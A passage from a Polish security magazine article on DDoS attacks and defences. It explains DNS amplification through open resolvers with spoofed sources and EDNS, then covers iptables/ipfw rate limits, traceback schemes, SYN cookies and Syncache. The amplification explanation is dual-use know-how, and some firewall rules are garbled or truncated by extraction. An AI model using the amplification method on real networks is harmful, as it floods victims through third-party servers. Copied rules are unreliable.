czemu korzystający z nich użytkow-
nicy  mogą  być  przez  pewien  czas
odporni na atak na docelowy serwer
DNS, ponieważ ich lokalny DNS ka-
szujący nie kontaktuje się z docelo-
wym  serwerem  DNS  tak  długo  jak
długo dla danego rekordu dns wpis
jest  aktualny  –  zazwyczaj  jest  to  1
dzień (default TTL).

Ataki z użyciem

serwerów DNS

Kolejną, bardzo chętnie wykorzysty-
waną  formą  ataków  jest  używanie
serwerów  DNS  jako  wzmacniaczy
ataku. Na dodatek sprawę pogarsza
fakt, że w sieci jest bardzo wiele ser-
werów  zwanych  open  resolver.  Po-
zwalają one na rekursywne zapyta-
nia całemu światu (zamiast tylko za-
ufanym hostom). Jest tu analogia do
terminologii  open  relay  stosowanej
w  przypadku  serwerów  SMTP,  któ-
re pozwalają na wysyłanie wiadomo-
ści  z  podanego  serwera  wszystkim
użytkownikom  internetu  -  zamiast
tylko  niektórym  (uwierzytelnionym
w  jakikolwiek  sposób).  Łatwo  wy-
obrazić sobie atak, w którym do po-
średniczącego serwera DNS wysła-
ne  jest  rekursywne  zapytanie  o  fik-
cyjną  domenę  hackin9.org  ze  sfał-
szowanym adresem źródłowym IP1.
Zapytanie  to  jest  maksymalnie  zmi-
nimalizowane i (w zależności od na-
zwy domeny) zawiera około 60 baj-
tów. Pytamy o wszystkie typy rekor-
dów4.  Pośredniczący  serwer  DNS
zacznie wypytywać po kolei serwery
DNS - zaczynając od korzenia, aż w
końcu otrzyma odpowiednie dane. W
zależności od wybranej domeny mo-
że to być nawet kilkaset bajtów, któ-
re zostają zwrócone pod sfałszowa-
ny  adres  IP1,  który  jest  celem  ata-
ku.  W  RFC1035  maksymalny  roz-
miar UDP jest określony na 512. Da-

tagramy  UDP  są  preferowane  tam
gdzie  to  możliwe.  Segmenty  TCP
są  narzucane  dla  transferów  strefy.
Użycie UDP jest konieczne do prze-
prowadzenia  ataku  ze  względu  na
sfałszowany  adres  źródłowy.  5.  Je-
śli przyjąć, że uda się osiągnąć 500
bajtów  odpowiedzi  można  uzyskać
wzmocnienie  ponad  8,  co  oznacza
że  przy  strumieniu  1Mbit/s  ze  stro-
ny  atakującego  serwer  docelowy
jest  zalewany  strumieniem  8Mbit/s.
Co  daje  możliwość  zadawania  py-
tań  rekursywnych  ?  Można  kontro-
lować, które serwery DNS będą od-
pytywane  zanim  odpowiedź  zosta-
nie odesłana do ofiary. Można rów-
nież odpytywać samą ofiarę (serwer
DNS danej organizacji, który często
jest  w  tym  samym  segmencie  sieci
co  atakowany  serwer).  Zaletą  tech-
niki wzmocnienia przez DNS jest to
że datagramy UDP/53 są przepusz-
czane  przez  większość  routerów  -
w przeciwieństwie do np: ICMP echo
i reply używanego przez smurf. Jed-
nak  to  dopiero  początek.  Okazu-
je  się,  że  można  uzyskać  znacznie
większe  wzmocnienie.  Coraz  bar-
dziej  popularne  stają  się  rozsze-
rzenia  protokołu  DNS  zdefiniowa-
ne np: w RFC2671, które umożliwia
udzielanie  odpowiedzi  w  datagra-
mach  UDP  przekraczających  roz-
miar  4000  bajtów.  Wystarczy  tylko
znaleźć  odpowiedni  serwer  DNS,
a  wtedy  wzmocnienia  rzędu  70  są
możliwe.  Przy  użyciu  narzędzi  ta-
kich  jak  Stacheldraht,  kontrolując
nawet  niewielką  liczbę  zombie  np:
1000,  można  uzyskać  wzmocnie-
nie rzędu 70000, czyli atakując stru-
mieniem 64kbit/s można zapchać łą-
cze 4Gbit/s. Aby wyszukać serwery
EDNS wystarczy napisać skrypt wy-
syłający  jakiekolwiek  zapytanie,  po
czym sprawdzić odpowiedź pod ką-
tem rozszerzonego pola RCODE (w
którym  pole  VERSION  wynosi  0.).
Można  też  wysłać  rozszerzone  za-
pytanie  i  jeśli  RCODE  odpowiedzi
jest  inny  niż  NOTIMPL,  SERVFAIL
czy  FORMERR  wówczas  jest  duża
szansa  na  to,  że  to  serwer  EDNS.
Badania pokazują, że liczba serwe-
rów, zarówno dawniej jak i dziś, po-
zwalających  wszystkim  na  wykony-

wanie zapytań rekursywnych wyno-
si około 75%[1],[3] a nawet 80%[2].
Aby zabezpieczyć się przed tego ty-
pu atakami należy wyłączyć na ser-
werze  możliwość  obsługi  zapytań
rekursywnych  dla  niezaufanych  ho-
stów.  Dobrą  praktyką  jest  też  ogra-
niczenie  możliwości  transferu  stre-
fy (choć tutaj nie ma bezpośrednie-
go zagrożenia jeśli chodzi o DDoS).
Należy pamiętać jednak, że powyż-
sze  kroki  nie  gwarantują  ochrony,
ponieważ  i  bez  zapytań  rekursyw-
nych  można  przeprowadzić  atak
DDoS.  Na  dodatek  ofiarą  mogą
paść  dobrze  zabezpieczone  sieci
i serwery, który zostały zaatakowane
poprzez słabo zabezpieczonych po-
średników. W celu ochrony przed te-
go typu atakami zaleca się zastoso-
wanie  mechanizmów,  o  których  bę-
dzie mowa w kolejnych rozdziałach.

Masowe ataki (D)DoS

Ostatnio pojawiło się kilka publika-
cji związanych z analizą wykrywal-
ności  masowych  ataków  DDoS.  W
[4],[5]  autorzy  argumentują  że  po-
siadając  milion  komputerów  pod
swoją  kontrola  można  przeprowa-
dzać  ataki  DDoS,  które  są  na  tyle
rozproszone,  że  wykrycie  ich  przy
użyciu  dzisiejszych  technik  wydaje
się  być  niemożliwe.  Każdy  z  kom-
puterów  zombie  wykonuje  najzwy-
klejsze  połączenie  z  usługą  ser-
wera.  Nie  sposób  rozróżnić  po-
prawnych  połączeń  dokonywanych
przez  uprawnionych  użytkowników
od  połączeń  dokonywanych  przez
zombie.  Z  punktu  widzenia  ataku-
jącego setki tysięcy komputerów w
jednej  chwili  próbują  połączyć  się
z  ofiarą.  Zaatakowany  serwer  nie
ma  praktycznie  żadnej  możliwości
obrony  przed  takim  atakiem.  Jest
to  bardzo  poważny  problem,  któ-
ry wraz ze wzrostem ilości maszyn
podłączonych  do  Internetu  będzie
się  nasilał.  W  celu  zapobiegania  -
albo  przynajmniej  minimalizowania
takiego  ataku  potrzebne  są  kom-
pleksowe działania na większą ska-
lę.  Należą  do  nich:  instalacja  wy-
dajnych mechanizmów wykrywania
DDoS w wielu punktach sieci takich
jak styk między ISP a użytkownika-

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

mi, routery brzegowe czy firewalle
małych i dużych firm podpiętych do
Internetu.

Obrona przed atakami

(D)DoS

W tym rozdziale zostanie omówiony
szereg mechanizmów związanych z
obroną i przeciwdziałaniem atakom
DDoS.  Na  początku  dokonana  zo-
stanie  próba  klasyfikacji  systemów
obrony  po  czym  przeanalizowane
zostaną  sposoby  rozmieszczenia
detektorów oraz najprostsze techni-
ki i narzędzia, które można potocz-
nie  wykorzystać  w  celu  przeciw-
działania lub zmniejszania skutków
ataków DDoS. Następnie zaprezen-
towane zostaną mechanizmy zwią-
zane z namierzeniem sprawcy ata-
ku takie jak ICMP Traceback, IP Re-
cord Route Traceback oraz IP Tra-
ceback. W dalszej części mechani-
zmy  Syncookie  i  Synache,  mające
zabezpieczać  przed  atakami  Syn
flood. Potem – DnsGuard pracujący
jak DNS proksy - mający na celu za-
bezpieczenie przed atakami z uży-
ciem  serwerów  DNS  jako  wzmac-
niaczy.  Następnie  system  DWARD
umiejscowiony  blisko  źródła  ataku.
Na koniec system SPUNNID bazu-
jący na nienadzorowanej sieci neu-
ronowej ART-1.

Klasyfikacja

Przede  wszystkim  trzeba  się  za-
stanowić,  co  znaczy  obrona  przed
atakami  DDoS.  Czy  to  znaczy,  że
do takiego ataku nigdy nie dojdzie
z  racji  zastosowanych  mechani-
zmów?  Oczywiście  takie  systemy
istnieją.  Jednak  zazwyczaj  ich  im-
plementacja  wiąże  się  z  gruntow-
nymi  zmianami  w  funkcjonowaniu
IP,  bądź  protokołów  wyższej  war-
stwy,  które  mają  być  chronione.
W  takich  sytuacjach  trzeba  stoso-
wać kosztowne, nierzadko - sprzę-
towe  rozwiązania.  Implementa-
cja  takich  rozwiązań  na  szerszą
skalę  jest  mało  prawdopodobna.
Wiele  innych  systemów  dokonu-
je  znacznie  mniejszych  modyfika-
cji  związanych  z  protokołem,  jed-
nak  z  związku  z  tym  posiada  wie-
le wad i ograniczeń. Takim przykła-

dem może być Syncookie. Dlatego
często stosuje się rozwiązania hy-
brydowe jak np: połączenie Synco-
okie z Syncache. Inne systemy ta-
kie jak DnsGuard czy DWARD nie
wymagają  dokonywania  żadnych
zmian  w  protokole  lecz  pełnią  je-
dynie  funkcje  pośredników  pomię-
dzy  klientem  a  serwerem.  Osob-
ną grupę stanowią systemy namie-
rzające mające na celu śledzenie i
wykrywanie ataków. Można do nich
zaliczyć techniki związane z ICMP
czy  IP  Traceback.  Bazują  one  na
takiej  modyfikacji  routerów  biorą-
cych  udział  w  przekazywaniu  pa-
kietów, aby do każdego z tych pa-
kietów  (albo  tylko  niektórych)  do-
dawać pewne informacje, które po-
zwolą odbiorcy na określenie i na-
mierzenie  oryginalnego  nadawcy
tych  pakietów.  Bez  użycia  takich
systemów  takie  namierzanie  mo-
że  być  skutecznie  uniemożliwione
przez  spoofing.  Systemy  te  więc
nie chronią przed atakami, ale po-
zwalają na namierzenie sprawców.
Inną grupą stanowią systemy, któ-
re wykrywają już trwający atak i mi-
nimalizują  jego  skutki  np:  blokując
ruch  pakietów  które  są  przyczyną
ataku. Budowa i implementacja ta-
kiego  systemu  wydaje  się  prosta:
wystarczy  przed  routerem  brzego-
wym  firmy  wstawić  czarną  pusz-
kę,  która  będzie  blokowała  wszel-
kie ataki a przepuszczała dozwolo-
ny ruch. Jednak okazuje się to nie-
zwykle  trudne.  Przede  wszystkim:
jak  rozróżnić  pakiety  IP,  które  po-
chodzą od uprawnionych użytkow-
ników a jak te, które są częścią ata-
ku DDoS ? Nawet jeśli uda się od-
powiedzieć na poprzednie pytanie,
to co zrobić dalej ? Czy zablokować
konkretne adresy IP ? Jeśli tak, to
które ? Trzeba pamiętać o tym, że
podczas ataków DDoS adresy źró-
dłowe  pakietów  są  prawie  zawsze
fałszowane. Na te i wiele innych py-
tań  nie  udało  się  na  razie  udzielić
jednoznacznej odpowiedzi, dlatego
badania w tej dziedzinie trwają. Po-
wstaje wiele specjalizowanych sys-
temów,  które  są  skuteczne  tylko
w  pewnych  okolicznościach.  Jest
wiele  innych  klasyfikacji  systemów

ochrony przed DDoS. Jedną z nich
może być umiejscowienie detekto-
ra, co zostanie omówione dokład-
niej w następnym rozdziale.

Umiejscowienie

detektora DDoS

Warto  przeanalizować,  ponieważ
wnioski  te  są  wspólne  dla  więk-
szości  systemów.  Jakie  są  zale-
ty  umiejscowienia  blisko  celu  ata-
ku  ?  Przede  wszystkim  widać  ca-
ły  ruch  więc  można  łatwo  wykryć,
że nastąpił atak DDoS. Jednak bar-
dzo  trudno  rozpoznać,  jaka  część
ruchu  odpowiada  za  ten  atak  oraz
kto jest atakującym. Ze względu na
duże natężenie ruchu potrzebne są
duże wymagania co do wydajności
sprzętu  analizującego  ruch.  Takich
wad nie ma w przypadku ulokowa-
nia  detektora  blisko  źródła  ata-
ku.  Wtedy  ruch  jest  niewielki,  ła-
twiej  wykryć  i  zablokować  pakiety
ze sfałszowanymi adresami źródło-
wymi. Jednak w przypadku zmaso-
wanych DDoS z bardzo dobrym roz-
proszeniem  nie  da  się  wykryć  ata-
ku,  ponieważ  wygląda  on  jak  zwy-
czajny ruch. Innym problemem - ra-
czej socjologicznym - jest to, że ad-
ministratorzy takich sieci niechętnie
implementują takie zabezpieczenia,
ponieważ  służą  one  ochronie  in-
nych sieci a nie ich (chronią internet
przed atakiem z ich sieci). Ostatnia
możliwość to ulokowanie detektora
w  sieci  szkieletowej.  Przez  routery
szkieletowe przepływa bardzo wiel-
ki ruch, dlatego stosuje się tam bar-
dzo wyspecjalizowane mechanizmy
detekcji.  Takim  przykładem  może
być technika PCF(Prtial Completion
Filter)[6],  która  umożliwia  analizę  i
detekcję bez zapamiętywania stanu
każdego  połączenia  TCP.  Jednak
trzeba pamiętać o mechanizmie ro-
utingu  IP  i  tym,  że  pewne  pakiety
mogą przechodzić przez pewien ro-
uter  szkieletowy,  ale  mogą  wracać
przez zupełnie inny router. Z związ-
ku z tym zaburzona może być rów-
nowaga  symetryczności  zapytań  i
odpowiedzi - co niestety wyklucza,
albo znacznie utrudnia wykorzysta-
nie  szeregu  technik  detekcji.  Naj-
lepszym  wyjściem  wydaje  się  być

hakin9 Nr 2/2007

www.hakin9.org

Atak

stosowanie detektorów wyspecja-
lizowanych - każdy w innym miej-
scu sieci.

Proste mechanizmy

Zostaną  tutaj  omówione  proste  roz-
wiązania,  których  implementacja
jest  szybka  a  jednocześnie  nie  ła-
mie  żadnych  specyfikacji  protoko-
łów  TCP/IP.  Oczywiście  oferowa-
ny poziom zabezpieczenia tych roz-
wiązań  pozostawia  wiele  do  życze-
nia, jednak jest to zawsze jakaś for-
ma obrony.

Iptables

Użytkownicy systemu Linux mają do
dyspozycji bardzo przydatne rozsze-
rzenia iptables zwane Path-O-Matic.
Jednym z modułów którego można
użyć jest fuzzy implementujący me-
chanizmy logiki rozmytej (TSK FLC).
Przykładowo:

iptables -A INPUT -m fuzzy --lower-

limit

100 --upper-limit 1000 -j REJECT

Poniżej  100  pakietów  na  sekundę
filtr jest nieaktywny, od 100 do 1000
średni  poziom  akceptowalności  bę-
dzie spadał ze 100% dla 100 pakie-
tów na sekundę do 1% dla 1000 pa-
kietów na sekundę. Powyżej tej war-
tości  poziom  akceptowalności  bę-
dzie wynosił 1% (czyli średnio 99%
pakietów zostanie odrzucona). Moż-
na  również  wykorzystać  moduł  ipli-
mit, na przykład:

iptables -A INPUT -p tcp --syn --dport

http

-m iplimit --iplimit-mask 8
--iplimit-above 4 -j REJECT

pozwoli na dostęp do serwera
www, jeśli dla każdej klasy A ilość
nowych połączeń będzie poniżej 4
na sekundę. Jeśli zastosujemy ma-
skę 32 to ograniczenie to będzie
nałożone na każdy pojedynczy ad-
res IP.

Warto również skorzystać z mo-

dułu  ipv4options  w  celu  odrzucenia
pakietów,  które  wykorzystują  opcję
dokładnych  punktów  routowania.
Atakujący może w ten sposób usta-

lić dokładną ścieżkę, po jakiej ma na-
stąpić atak:

iptables -A INPUT -m ipv4options --ssrr

-j DROP

Można również samemu wyciąć
wszystkie opcje IP:

iptables -t mangle -A PREROUTING -j

IPV4OPTSSTRIP

Innym zagrożeniem są duże komu-
nikaty ICMP. Mogą być one oznaką
ataku DoS lub też np: tajnych pole-
ceń przesyłanych do maszyn będą-
cych pod kontrolą rootkitów. Dla-
tego można wykorzystać moduł
length:

iptables -A INPUT -p icmp --icmp-type
echo-request -m length
--length 90:0xffff -j DROP

co spowoduje wycięcie wszystkich
ICMP echo-request z rozmiarem po-
wyżej 90 bajtów.

Warto również skorzystać z pkt-

type do blokowania komunikatów
broadcast czy multicast np:

iptables -A INPUT -m pkttyp
--pkt-type broadcast -j DROP

Można również próbować nakładać
quote na ilość danych przesłanych w
pakietach SYN:

iptables -A INPUT -p tcp --syn
--dport http -m quota --quota 10000 -j

po czym blokować pakiety SYN
przekraczające tę quotę (np: dla nie-
zaufanych hostów).

Czasami warto odrzucać pewną

liczbę pakietów np:

iptables -A INPUT -p icmp --icmp-type
echo-request -m random --avarage 90 -j

DROP

co odrzuci 90% pakietów ICMP echo-

request.

Można również próbować karać
czasowo niedozwolone zachowa-
nie np:

iptables -A INPUT -p icmp --icmp-type
echo-request -m recent --name badguy --

set -j DROP

iptables -A INPUT -m recent --name

badguy

--rcheck --seconds 60 -j DROP

co zablokuje na kolejne 60 sekund
użytkowników, którzy próbowali
przesłać ICMP echo.

Aby zabezpieczyć się przed

spoofowanym  atakiem  z  warto-
ściami  TTL  osiągającymi  1  (odpo-
wiedź  ICMP  time  exceeded)  moż-
na  blokować  pakiety  z  TTL  mniej-
szymi niż 2:

iptables -A INPUT -m ttl --ttl-lt 2 -j

DROP

Pod Linuxem można oczywiście pró-
bować  radzić  sobie  z  atakami  DoS
konstruując  odpowiedni  mecha-
nizm  sterowania  przepływem  jak
CBQ[11].  Jednak  takie  rozwiązanie
mogłoby  przynieść  sensowny  sku-
tek  tylko  w  przypadku  ,  gdy  są  ja-
sno  określeni  uprzywilejowani  użyt-
kownicy, będącymi głównymi odbior-
cami usługi. Wtedy adresy te byłyby
skierowane  przez  filtr  (np:  u32)  do
kolejki dającej szersze pasmo, nato-
miast cała reszta użytkowników tra-
fiałaby  do  kolejki  o  znacznie  węż-
szym paśmie. To rozwiązanie jednak
nie ochroni przed atakami Syn flood
i spoofingiem.

ipfw

Użytkownicy  FreeBSD  nie  mają  aż
takiego  wyboru  jeśli  chodzi  o  moż-
liwości firewalla (w sumie pf ma po-
dobne  możliwości  co  do  ipfw  więc
nie będzie omawiany oddzielnie). Co
prawda  można  np:  blokować  20%
ICMP echo:

add 1000 prob 0.8 allow icmp
from any to any in icmptypes 8

Jednak  brakuje  wielu  innych  opcji
związanych z quotą, dostępem cza-
sowym, karami czasowymi czy kon-
trolą  długości  pakietów.  Podobnie
jak dla Linuxa CBQ użytkownicy ro-
dziny  BSD  mają  do  dyspozycji  AL-
TQ. Do ograniczania pasma bardzo

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

dobrym mechanizmem jest również
dummynet.

ICMP traceback

ICMP  traceback  jest  techniką,  któ-
ra nie służy do wykrywania czy za-
pobiegania atakom DDoS. Służy do
namierzania źródła względnie dużej
liczby pakietów. W tym celu routery
przekazujące  pakiety  muszą  raz  na
około  20000(do  dostrojenia)  prze-
słanych  pakietów  wysłać  nowy  ko-
munikat - ICMP Traceback, w którym
zawarte są dane o pochodzeniu te-
go pakietu. Dzięki temu podczas ata-
ku  DDoS  atakujący  dostanie  pew-
ną liczbę pakietów ICMP traceback,
które po odpowiednim  sklejeniu po-
każą  mu  całą  ścieżkę  ataku.  Wa-
dą  tego  rozwiązania  są  komunikaty
ICMP, które są często filtrowane. Po-
za tym atakujący może wysyłać fał-
szywe ICMP Traceback. W tym ce-
lu  zaproponowano  już  użycie  infra-
struktury klucza publicznego, jednak
na razie nic się nie przyjęło na szer-
szą skalę.

IP Record Route Traceback

Do  namierzania  atakującego  moż-
na  również  wykorzystać  routery,
które  routowałyby  pakiety  IP  uak-
tywniając  opcję  IP  Record  Ro-
ute.  Dzięki  temu  każdy  kolejny  ro-
uter doklejałby swój adres IP do po-
la  opcji  nagłówka  IP.  Jednak  wią-

że  się  to  z  szeregiem  problemów
–  jest  to  rozwiązanie  opcjonalne  a
niektóre  routery  mogą  nawet  wy-
ciąć  te  dodatkowe  pola.  Najwięk-
szym  problemem  jest  jednak  roz-
miar pola opcji. Pole IP header len
to tylko 4 bity więc cały nagłówek IP
jest  ograniczony  do  15  słów  32-bi-
towych (60 bajtów). Odejmując nie-
zmienną  długość  nagłówka  IP  (20
bajtów),  opcję  RR  (3  bajty),  pozo-
staje 37 bajtów co pozwala zapisać
do 9 adresów IP. Niestety jest to za
mało.  Na  dodatek  atakujący  może
wygenerować pakiety IP już z jaki-
miś  opcjami,  które  zajmują  cenne
miejsce  w  nagłówku,  co  praktycz-
nie mogłoby całkowicie zniwelować
użycie powyższej techniki. Dlatego
nie jest ona szerzej używana.

IP traceback

Jest nowszą i lepszą techniką na-
mierzania. Rozróżnia się dwie wer-
sje tej techniki: Node sampling i Ed-
ge sampling.

Node Sampling

Do  nagłówka  IP  doklejana  jest  no-
wa opcja z tylko jednym 32 bitowym
adresem.  Każdy  router  na  ścieżce
z  pewnym  małym  prawdopodobień-
stwem p wpisuje w to pole swój ad-
res IP. Atakowany po odebraniu du-
żej liczby pakietów jest w stanie od-
tworzyć  ścieżkę  ataku.  Wystarczy

porównać ilości pakietów z tymi sa-
mymi adresami IP. Im mniej jest pa-
kietów z danym adresem IP tym bli-
żej źródła znajduje się router z tym
adresem.  Wadą  tej  metody,  oprócz
doklejania  niestandardowej  opcji  do
nagłówka  IP,  jest  niemożliwość  na-
mierzenia  wielu  źródeł  ataku.  Jeśli
następuje  on  z  wielu  adresów  (wie-
le ścieżek) na raz nie da się ich od-
tworzyć.  Obie  wady  eliminuje  kolej-
na technika.

Edge Sampling

Wszystkie  dodatkowe  informa-
cje  zapisuje  się  w  16-bitowym  po-
lu  Identification  nagłówka  IP.  Nor-
malnie wykorzystywane jest ono do
sklejania sfragmentowanych pakie-
tów  IP.  Zakłada  się  więc,  że  frag-
mentacja nie będzie wykorzystana.
Jest  to  dość  racjonalne  założenie,
jeśli uwzględni się, że dziś wiele ro-
uterów,  ze  względów  bezpieczeń-
stwa nie przekazuje sfragmentowa-
nych  pakietów  IP.  Edge  Sampling
polega  na  tym,  że  każdy  router  z
pewnym  małym  prawdopodobień-
stwem  próbuje  dokonać  zapisu  in-
formującego o ścieżce. Wymagane
tutaj pola to start address, end ad-
dress oraz distance field. Pierwszy
router, który postanowi dokonać za-
pisu wpisuje swój adres w pole po-
czątkowego adresu, po czym usta-
wia dystans na 0. Każdy kolejny ro-

Rysunek 4.

Edge sampling - przesyłanie adresów jako XOR

Routers

in path

victim

Marked

packets

Path reconstruction

at victim

Reconstructed

path

a b

b c

c d

hakin9 Nr 2/2007

www.hakin9.org

Atak

uter,  który  chce  dokonać  zapisu,
wpisuje  swój  adres  w  pole  końco-
we. Każdy router, który przekazuje
pakiety, bez względu na to czy po-
stanawia  dokonać  zapisu  czy  nie,
zwiększa  o  1  pole  dystansu.  Ata-
kowany,  w  celu  odkrycia  ścieżek
ataku wykorzystuje podobną zasa-
dę  jak  w  Node  Sampling.  Prawdo-
podobieństwo  jakiegokolwiek  za-
pisu  rośnie  wraz  z  odległością  od
źródła ataku. Pola startowe i końco-
we umożliwiają wykrycie wielu ście-
żek ataku. Przykładowo jeśli atako-
wany otrzyma przybliżoną ilość pa-
kietów  z  tymi  samymi  wartościami
odległości,  i  różnymi  adresami  po-
czątkowymi to znaczy, że są one na
różnych  ścieżkach.  Jeśli  otrzyma
pakiety  z  tymi  samymi  wartościa-
mi odległości, tymi samymi adresa-
mi końcowymi, ale rożnymi adresa-
mi początkowymi to wie, że gdzieś
pomiędzy  nastąpiło  połączenie  się
ścieżek. Analiza ilościowa dla każ-
dej  grupy  pakietów  (pogrupowa-
nych  według  dystansu,  adresu  po-
czątkowego  i  końcowego)  pozwala
dokładnie  stwierdzić  gdzie.  Oczy-
wiście  wszystko  przy  założeniu,
że  odebrano  dużą  liczbę  pakietów
-  co  ma  miejsce  w  przypadku  ata-
ku  DDoS.  Na  początku  wspomnia-
łem,  że  wykorzystuje  się  16  bito-
we pole do zapisania tych informa-
cji,  a  tymczasem  widać,  że  na  ra-
zie jest to 32+32(oba adresy)+8(dy-
stans)=70 bitów. Dlatego do techni-
ki tej wprowadzono szereg mecha-
nizmów i zabiegów kompresujących
będących  kompromisem  pomię-
dzy  dokładnością  (zależną  od  ilo-

ści odebranych pakietów) a rozmia-
rem  doklejanych  informacji,  dzię-
ki któremu udaje się zmieścić w 16
bitach.  Pierwsza  sztuczka  polega
na  przesyłaniu  adresów  poszcze-
gólnych  routerów  jako  suma  XOR.
Dzięki  temu  wystarczy  jedno  pole
adresu  a  nie  dwa,  a  dzięki  odwra-
calności XOR łatwo jest odtworzyć
wszystkie adresy zaczynając anali-
zę od ofiary.

Kolejna sztuczka polega na po-

dzieleniu  adresu  na  k  części  i  wy-
syłanie  na  raz  tylko  jednej  z  nich
oraz  przesunięcia  informujące-
go  o  tym,  która  to  część.  Oczywi-
ście  zwiększa  to  ilość  pakietów  ja-
kie trzeba przesłać, jednak przy du-
żej  ilości  (DDoS)  w  końcu  wszyst-
kie  fragmenty  każdego  pakietu  do-
trą.  Ostatnia  modyfikacja  naprawia
problem, który pojawia się przy oka-
zji  wprowadzenia  drugiej  -  nie  uni-
katowości  fragmentów.  Przy  wielu
ścieżkach ataku może się zdarzyć,
że ofiara otrzyma wiele fragmentów
z  tym  samym  przesunięciem  i  dy-
stansem, jednak należą one do róż-
nych  adresów  (sum  XOR).  Dlatego
wprowadzono  prosty  mechanizm
detekcji błędów. Adres przepleciono
z jego skrótem - i takie dane powy-
syłano  w  k  fragmentach.  Nadal  za
każdym razem przesyła się tyle sa-
mo danych, jednak potrzeba dwa ra-
zy więcej pakietów, żeby zebrać ca-
ły sfragmentowany pakiet. Sklejony
pakiet jest akceptowany tylko wtedy,
gdy  wartość  adresu  zgadza  się  ze
skrótem z niego wyliczonym.

Finalnie przesyłany fragment ma

rozmiar 8 bitów. W każdej porcji da-

nych jest 8 fragmentów (co daje 32
bity na adres + 32 bity na skrót), więc
na ilość fragmentów są 3 bity. Na dy-
stans wystarcza swobodnie 5 bitów.
W efekcie dostajemy bardzo spraw-
ny i wydajny system służący do na-
mierzenia źródła ataku, modyfikują-
cy jedynie pole identyfikacji nagłów-
ka IP.

Syncookie

Jest  techniką  mającą  na  celu  obro-
nę przed atakami Syn flood. Polega
na tym, że po odebraniu przez ser-
wer pakietu z flagą SYN nie zapisuje
on żadnych informacji w kolejce po-
łączeń  nasłuchujących.  Zamiast  te-
go  w  odpowiedzi  SYN,ACK  inicja-
lizuje  pole  ISN  (początkowy  numer
sekwencyjny  TCP)  na  pewną  okre-
śloną wartość - zwaną ciasteczkiem.
Klient  zobowiązany  jest,  zgodnie  z
protokołem  TCP  na  odpowiedzenie
pakietem  ACK  z  wartością  numeru
sekwencyjnego  równą  ISN+1.  Do-
piero  po  odebraniu  tej  odpowiedzi
serwer odczytuje ciasteczko i spraw-
dza jego poprawność. Jeśli jest po-
prawne zostaje nawiązane połącze-
nie TCP. Jeśli nie - pakiet taki zostaje
odrzucony. Serwer utrzymuje 32 bi-
towy licznik czasowy t zwiększany o
1 co 64 sekundy. Podczas inicjaliza-
cji w ISN zapisywane są: t modulo 32
(5 najmłodszych bitów t), skrót MD5
z adresów źródłowego i docelowego,
portu źródłowego i docelowego oraz
licznika t(24 bity), oraz zakodowane
MSS (3 bity). Po odebraniu odpowie-
dzi sprawdzana jest wartość licznika
czasowego – czy jest ona taka sama
(albo o 1 większa) od aktualnej war-
tości tego licznika na serwerze. Jeśli
tak, to znaczy, że odpowiedź mieści
się w ustalonych ramach czasowych.
Jeśli nie - pakiet jest odrzucany. Na-
stępnie wyliczona jest suma MD5 z
danych nagłówka aktualnego pakie-
tu oraz aktualnego t (albo o 1 mniej-
szego)  i  porównana  z  wartością  z
ciasteczka. Gdyby nie ten etap, ata-
kujący musiałby wysłać tylko 32 pa-
kiety,  aby  nawiązać  połączenie  (a
tak  sprawdzany  skrót,  bazując  na
wartości  t  gwarantuje,  że  odebrano
poprawną odpowiedź). Jeśli wszyst-
ko  się  zgadza  to  oznacza,  że  na-

Rysunek 5.

Edge sampling - podział na k części

Address

BitInterleave

k-1

Hash (address)

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

wiązywane  jest  poprawne  połącze-
nie. Mechanizm ten ma jednak wie-
le wad. Należy do nich niemożliwość
przekazania wielu opcji TCP ustala-
nych przy nawiązywaniu połączenia
(bo nie zapisuje ich w kolejce połą-
czeń nasłuchujących). Inne to 8 pre-
definiowanych wartości MSS (tylko 3
bity), brak retransmisji SYN+ACK je-
śli  ACK  się  zagubi,  niekompatybil-
ność  z  wieloma  rozszerzeniami  np:
T/TCP, podatność na ataki ACK flo-
od (serwer musi liczyć MD5), proble-
my  firewallami,  które  mogą  nie  blo-
kować ataków ACK flood, ponieważ
uważają to za część ustanowionego
połączenia. Mechanizm ten zaimple-
mentowano  jako  opcja  w  wielu  sys-
temach  (w  Linuxie  to  opcja  kernela
CONFIG_SYN_COOKIES).

Syncache

Jest  mechanizmem  rozszerzają-
cych  systemowe  kolejki  połączeń
nasłuchujących6.  Klasyczna  kolej-
ka  z  prawdopodobieństwem  1/N
wyrzuca rekordy informujące o pół-
otwartych  połączeniach  TCP.  To
znaczy,  że  z  nadejściem  nowego
pakietu SYN statystycznie usuwany
jest  jeden  rekord  z  tej  kolejki.  Któ-
ry ? Losowo wybrany. Syncache dla
każdego  półotwartego  połączenia
rezerwuje  znacznie  krótszy  rekord,
używa FIFO do wyrzucania najstar-
szych  półotwartych  połączeń  oraz
optymalizuje  wyszukiwanie  i  wsta-
wianie  nowych  rekordów,  rozpra-
szając równomiernie nowe połącze-
nia. Syncache składa się z globalnej
tablicy haszującej, której elementa-
mi  jest  pewna  ilość  wiaderek  (buc-
ket). Każde wiaderko to lista rekor-

dów - każdy opisuje jedno półotwar-
te  połączenie.  Po  nadejściu  nowe-
go pakietu SYN wyliczany jest skrót
z adresu i portu źródłowego i doce-
lowego oraz pewnej losowej warto-
ści. Wartość tego skrótu decyduje o
tym, do którego wiaderka (na którą
listę FIFO) trafi informacja o tym po-
łączeniu. Jeśli lista ta jest już pełna,
usuwane  jest  najstarsze  połącze-
nie.  Zastosowanie  tablicy  haszują-
cej oraz funkcji haszującej z losową
wartością ma na celu równomierne
rozłożenie ruchu pomiędzy wszyst-
kie  wiaderka.  Nawet  jeśli  przyjdzie
kilka  identycznych  pakietów  SYN
trafią one do innego wiaderka. Więc
są one chronione przed selektywny-
mi  atakami.  Można  ustalać  maksy-
malną ilość rekordów dla całej tabli-
cy  haszującej  7  oraz  maksymalny
rozmiar  każdego  wiaderka  8.  Me-
chanizm Syncache zazwyczaj łączy
się z Syncookie. Zwykle Syncookie
jest wyłączone, lecz jeśli limity Syn-
cache zostaną przekroczone zosta-
je włączony mechanizm Syncookie.

DnsGuard

DnsGuard  jest  pomysłem  nie-
co  przypominającym  Syncookie.
Używa  danych  wygenerowanych
po  stronie  serwera  do  upewnienia
się,  że  klient  korzystający  z  serwe-
ra  DNS  poprzez  protokół  UDP  jest
tym,  za  kogo  się  podaje.  Uniemoż-
liwia  to  ataki  na  serwery  DNS  opi-
